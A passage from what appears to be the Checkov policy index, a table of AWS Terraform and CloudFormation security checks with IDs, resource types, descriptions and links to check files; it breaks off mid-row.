| | 847 | CKV_AWS_376 | resource | aws_elb | Ensure AWS Elastic Load Balancer listener uses TLS/SSL | Terraform | [ELBwListenerNotTLSSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBwListenerNotTLSSSL.py) | | 848 | CKV_AWS_377 | resource | aws_route53domains_registered_domain | Ensure Route 53 domains have transfer lock protection | Terraform | [Route53TransferLock.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/Route53TransferLock.py) | | 849 | CKV_AWS_378 | resource | aws_alb_listener | Ensure AWS Load Balancer doesn't use HTTP protocol | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml) | | 850 | CKV_AWS_378 | resource | aws_alb_target_group | Ensure AWS Load Balancer doesn't use HTTP protocol | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml) | | 851 | CKV_AWS_378 | resource | aws_lb_listener | Ensure AWS Load Balancer doesn't use HTTP protocol | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml) | | 852 | CKV_AWS_378 | resource | aws_lb_target_group | Ensure AWS Load Balancer doesn't use HTTP protocol | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml) | | 853 | CKV_AWS_379 | resource | aws_s3_bucket_acl | Ensure AWS S3 bucket is configured with secure data transport policy | Terraform | [S3SecureDataTransport.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3SecureDataTransport.py) | | 854 | CKV_AWS_380 | resource | aws_transfer_server | Ensure AWS Transfer Server uses latest Security Policy | Terraform | [TransferServerLatestPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerLatestPolicy.py) | | 855 | CKV_AWS_381 | resource | aws_codegurureviewer_repository_association | Make sure that aws_codegurureviewer_repository_association has a CMK | Terraform | [AWSCodeGuruHasCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AWSCodeGuruHasCMK.py) | | 856 | CKV_AWS_382 | resource | aws_security_group | Ensure no security groups allow egress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py) | | 857 | CKV_AWS_382 | resource | aws_security_group_rule | Ensure no security groups allow egress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py) | | 858 | CKV_AWS_382 | resource | aws_vpc_security_group_egress_rule | Ensure no security groups allow egress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py) | | 859 | CKV_AWS_383 | resource | aws_bedrockagent_agent | Ensure AWS Bedrock agent is associated with Bedrock guardrails | Terraform | [BedrockGuardrails.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BedrockGuardrails.py) | | 860 | CKV_AWS_384 | resource | AWS::SSM::Parameter | Ensure no hard-coded secrets exist in Parameter Store values | Cloudformation | [ParameterStoreCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ParameterStoreCredentials.py) | | 861 | CKV_AWS_385 | resource | aws_sns_topic_policy | Ensure AWS SNS topic policies do not allow cross-account access | Terraform | [SNSCrossAccountAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSCrossAccountAccess.py) | | 862 | CKV_AWS_386 | data | aws_ami | Reduce potential for WhoAMI cloud image name confusion attack | Terraform | [WhoAMI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/WhoAMI.py) | | 863 | CKV_AWS_387 | resource | aws_sqs_queue_policy | Ensure SQS policy does not allow public access through wildcards | Terraform | [SQSOverlyPermissive.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSOverlyPermissive.py) | | 864 | CKV_AWS_388 | resource | aws_db_instance | Ensure AWS Aurora PostgreSQL is not exposed to local file read vulnerability | Terraform | [UnpatchedAuroraPostgresDB.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/UnpatchedAuroraPostgresDB.py) | | 865 | CKV_AWS_389 | resource | aws_launch_configuration | Ensure AWS Auto Scaling group launch configuration doesn't have public IP address assignment enabled | Terraform | [AutoScalingGroupWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingGroupWithPublicAccess.py) | | 866 | CKV_AWS_390 | resource | aws_emr_block_public_access_configuration | Ensure AWS EMR block public access setting is enabled | Terraform | [EMRPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRPubliclyAccessible.py) | | 867 | CKV_AWS_391 | resource | aws_redshift_cluster | Avoid AWS Redshift cluster with commonly used master username and public access setting enabled | Terraform | [RedshiftClusterWithCommonUsernameAndPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterWithCommonUsernameAndPublicAccess.py) | | 868 | CKV_AWS_392 | resource | aws_s3_access_point | Ensure AWS S3 access point block public access setting is enabled | Terraform | [S3AccessPointPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AccessPointPubliclyAccessible.py) | | 869 | CKV2_AWS_1 | resource | aws_network_acl | Ensure that all NACL are attached to subnets | Terraform | [SubnetHasACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml) | | 870 | CKV2_AWS_1 | resource | aws_subnet | Ensure that all NACL are attached to subnets | Terraform | [SubnetHasACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml) | | 871 | CKV2_AWS_2 | resource | aws_ebs_volume | Ensure that only encrypted EBS volumes are attached to EC2 instances | Terraform | [EncryptedEBSVolumeOnlyConnectedToEC2s.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml) | | 872 | CKV2_AWS_2 | resource | aws_volume_attachment | Ensure that only encrypted EBS volumes are attached to EC2 instances | Terraform | [EncryptedEBSVolumeOnlyConnectedToEC2s.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml) | | 873 | CKV2_AWS_3 | resource | aws_guardduty_detector | Ensure GuardDuty is enabled to specific org/region | Terraform | [GuardDutyIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml) | | 874 | CKV2_AWS_3 | resource | aws_guardduty_organization_configuration | Ensure GuardDuty is enabled to specific org/region | Terraform | [GuardDutyIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml) | | 875 | CKV2_AWS_4 | resource | aws_api_gateway_method_settings | Ensure API Gateway stage have logging level defined as appropriate | Terraform | [APIGWLoggingLevelsDefinedProperly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml) | | 876 | CKV2_AWS_4 | resource | aws_api_gateway_stage | Ensure API Gateway stage have logging level defined as appropriate | Terraform | [APIGWLoggingLevelsDefinedProperly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml) | | 877 | CKV2_AWS_5 | resource | aws_security_group | Ensure that Security Groups are attached to another resource | Terraform | [SGAttachedToResource.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SGAttachedToResource.yaml) | | 878 | CKV2_AWS_6 | resource | aws_s3_bucket | Ensure that S3 bucket has a Public Access block | Terraform | [S3BucketHasPublicAccessBlock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml) | | 879 | CKV2_AWS_6 | resource | aws_s3_bucket_public_access_block | Ensure that S3 bucket has a Public Access block | Terraform | [S3BucketHasPublicAccessBlock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml) | | 880 | CKV2_AWS_7 | resource | aws_emr_cluster | Ensure that Amazon EMR clusters' security groups are not open to the world | Terraform | [AMRClustersNotOpenToInternet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml) | | 881 | CKV2_AWS_7 | resource | aws_security_group | Ensure that Amazon EMR clusters' security groups are not open to the world | Terraform | [AMRClustersNotOpenToInternet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml) | | 882 | CKV2_AWS_8 | resource | aws_rds_cluster | Ensure that RDS clusters has backup plan of AWS Backup | Terraform | [RDSClusterHasBackupPlan.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSClusterHasBackupPlan.yaml) | | 883 | CKV2_AWS_9 | resource | aws_backup_selection | Ensure that EBS are added in the backup plans of AWS Backup | Terraform | [EBSAddedBackup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EBSAddedBackup.yaml) | | 884 | CKV2_AWS_10 | resource | aws_cloudtrail | Ensure CloudTrail trails are integrated with CloudWatch Logs | Terraform | [CloudtrailHasCloudwatch.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudtrailHasCloudwatch.yaml) | | 885 | CKV2_AWS_11 | resource | aws_vpc | Ensure VPC flow logging is enabled in all VPCs | Terraform | [VPCHasFlowLog.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasFlowLog.yaml) | | 886 | CKV2_AWS_12 | resource | aws_default_security_group | Ensure the default security group of every VPC restricts all traffic | Terraform | [VPCHasRestrictedSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml) | | 887 | CKV2_AWS_12 | resource | aws_vpc | Ensure the default security group of every VPC restricts all traffic | Terraform | [VPCHasRestrictedSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml) | | 888 | CKV2_AWS_14 | resource | aws_iam_group | Ensure that IAM groups includes at least one IAM user | Terraform | [IAMGroupHasAtLeastOneUser.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml) | | 889 | CKV2_AWS_14 | resource | aws_iam_group_membership | Ensure that IAM groups includes at least one IAM user | Terraform | [IAMGroupHasAtLeastOneUser.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml) | | 890 | CKV2_AWS_15 | resource | aws_autoscaling_group | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks. | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml) | | 891 | CKV2_AWS_15 | resource | aws_elb | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks. | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml) | | 892 | CKV2_AWS_15 | resource | aws_lb_target_group | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks. | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml) | | 893 | CKV2_AWS_16 | resource | aws_appautoscaling_target | Ensure that Auto Scaling is enabled on your DynamoDB tables | Terraform | [AutoScalingEnableOnDynamoDBTables.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml) | | 894 | CKV2_AWS_16 | resource | aws_dynamodb_table | Ensure that Auto Scaling is enabled on your DynamoDB tables | Terraform | [AutoScalingEnableOnDynamoDBTables.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml) | | 895 | CKV2_AWS_18 | resource | aws_backup_selection | Ensure that Elastic File System (Amazon EFS) file systems are added in the backup plans of AWS Backup | Terraform | [EFSAddedBackup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EFSAddedBackup.yaml) | | 896 | CKV2_AWS_19 | resource | aws_eip | Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances | Terraform | [EIPAllocatedToVPCAttachedEC2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml) | | 897 | CKV2_AWS_19 | resource | aws_eip_association | Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances | Terraform | [EIPAllocatedToVPCAttachedEC2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml) | | 898 | CKV2_AWS_20 | resource | aws_alb | Ensure that ALB redirects HTTP requests into HTTPS ones | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml) | | 899 | CKV2_AWS_20 | resource | aws_alb_listener | Ensure that ALB redirects HTTP requests into HTTPS ones | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml) | | 900 | CKV2_AWS_20 | resource | aws_lb | Ensure that ALB redirects HTTP requests into HTTPS ones | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml) | | 901 | CKV2_AWS_20 | resource | aws_lb_listener | Ensure that ALB redirects HTTP requests into HTTPS ones | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml) | | 902 | CKV2_AWS_21 | resource | aws_iam_group_membership | Ensure that all IAM users are members of at least one IAM group. | Terraform | [IAMUsersAreMembersAtLeastOneGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMUsersAreMembersAtLeastOneGroup.yaml) | | 903 | CKV2_AWS_22 | resource | aws_iam_user | Ensure an IAM User does not have access to the console | Terraform | [IAMUserHasNoConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMUserHasNoConsoleAccess.yaml) | | 904 | CKV2_AWS_23 | resource | aws_route53_record | Route53 A Record has Attached Resource | Terraform | [Route53ARecordAttachedResource.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ARecordAttachedResource.yaml) | | 905 | CKV2_AWS_27 | resource | aws_rds_cluster | Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled | Terraform | [PostgresRDSHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml) | | 906 | CKV2_AWS_27 | resource | aws_rds_cluster_parameter_group | Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled | Terraform | [PostgresRDSHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml) | | 907 | CKV2_AWS_28 | resource | aws_alb | Ensure public facing ALB are protected by WAF | Terraform | [ALBProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml) | | 908 | CKV2_AWS_28 | resource | aws_lb | Ensure public facing ALB are protected by WAF | Terraform | [ALBProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml) | | 909 | CKV2_AWS_29 | resource | aws_api_gateway_rest_api | Ensure public API gateway are protected by WAF | Terraform | [APIProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml) | | 910 | CKV2_AWS_29 | resource | aws_api_gateway_stage | Ensure public API gateway are protected by WAF | Terraform | [APIProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml) | | 911 | CKV2_AWS_30 | resource | aws_db_instance | Ensure Postgres RDS as aws_db_instance has Query Logging enabled | Terraform | [PostgresDBHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml) | | 912 | CKV2_AWS_30 | resource | aws_db_parameter_group | Ensure Postgres RDS as aws_db_instance has Query Logging enabled | Terraform | [PostgresDBHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml) | | 913 | CKV2_AWS_31 | resource | aws_wafv2_web_acl | Ensure WAF2 has a Logging Configuration | Terraform | [WAF2HasLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/WAF2HasLogs.yaml) | | 914 | CKV2_AWS_32 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution has a response headers policy attached | Terraform | [CloudFrontHasResponseHeadersPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontHasResponseHeadersPolicy.yaml) | | 915 | CKV2_AWS_33 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync is protected by WAF | Cloudformation | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/AppSyncProtectedByWAF.yaml) | | 916 | CKV2_AWS_33 | resource | aws_appsync_graphql_api | Ensure AppSync is protected by WAF | Terraform | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppSyncProtectedByWAF.yaml) | | 917 | CKV2_AWS_34 | resource | aws_ssm_parameter | AWS SSM Parameter should be Encrypted | Terraform | [AWSSSMParameterShouldBeEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSSSMParameterShouldBeEncrypted.yaml) | | 918 | CKV2_AWS_35 | resource | aws_route | AWS NAT Gateways should be utilized for the default route | Terraform | [AWSNATGatewaysshouldbeutilized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml) | | 919 | CKV2_AWS_35 | resource | aws_route_table | AWS NAT Gateways should be utilized for the default route | Terraform | [AWSNATGatewaysshouldbeutilized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml) | | 920 | CKV2_AWS_36 | resource | aws_ssm_parameter | Ensure terraform is not sending SSM secrets to untrusted domains over HTTP | Terraform | [HTTPNotSendingPasswords.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml) | | 921 | CKV2_AWS_36 | resource | data.http | Ensure terraform is not sending SSM secrets to untrusted domains over HTTP | Terraform | [HTTPNotSendingPasswords.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml) | | 922 | CKV2_AWS_37 | resource | aws | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 923 | CKV2_AWS_37 | resource | aws_accessanalyzer_analyzer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 924 | CKV2_AWS_37 | resource | aws_accessanalyzer_archive_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 925 | CKV2_AWS_37 | resource | aws_account_alternate_contact | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 926 | CKV2_AWS_37 | resource | aws_account_primary_contact | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 927 | CKV2_AWS_37 | resource | aws_account_region | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 928 | CKV2_AWS_37 | resource | aws_acm_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 929 | CKV2_AWS_37 | resource | aws_acm_certificate_validation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 930 | CKV2_AWS_37 | resource | aws_acmpca_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 931 | CKV2_AWS_37 | resource | aws_acmpca_certificate_authority | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 932 | CKV2_AWS_37 | resource | aws_acmpca_certificate_authority_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 933 | CKV2_AWS_37 | resource | aws_acmpca_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 934 | CKV2_AWS_37 | resource | aws_acmpca_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 935 | CKV2_AWS_37 | resource | aws_alb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 936 | CKV2_AWS_37 | resource | aws_alb_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 937 | CKV2_AWS_37 | resource | aws_alb_listener_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 938 | CKV2_AWS_37 | resource | aws_alb_listener_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 939 | CKV2_AWS_37 | resource | aws_alb_target_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 940 | CKV2_AWS_37 | resource | aws_alb_target_group_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 941 | CKV2_AWS_37 | resource | aws_ami | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 942 | CKV2_AWS_37 | resource | aws_ami_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 943 | CKV2_AWS_37 | resource | aws_ami_from_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 944 | CKV2_AWS_37 | resource | aws_ami_launch_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 945 | CKV2_AWS_37 | resource | aws_amplify_app | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 946 | CKV2_AWS_37 | resource | aws_amplify_backend_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 947 | CKV2_AWS_37 | resource | aws_amplify_branch | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 948 | CKV2_AWS_37 | resource | aws_amplify_domain_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 949 | CKV2_AWS_37 | resource | aws_amplify_webhook | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 950 | CKV2_AWS_37 | resource | aws_api_gateway_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 951 | CKV2_AWS_37 | resource | aws_api_gateway_api_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 952 | CKV2_AWS_37 | resource | aws_api_gateway_authorizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 953 | CKV2_AWS_37 | resource | aws_api_gateway_base_path_mapping | 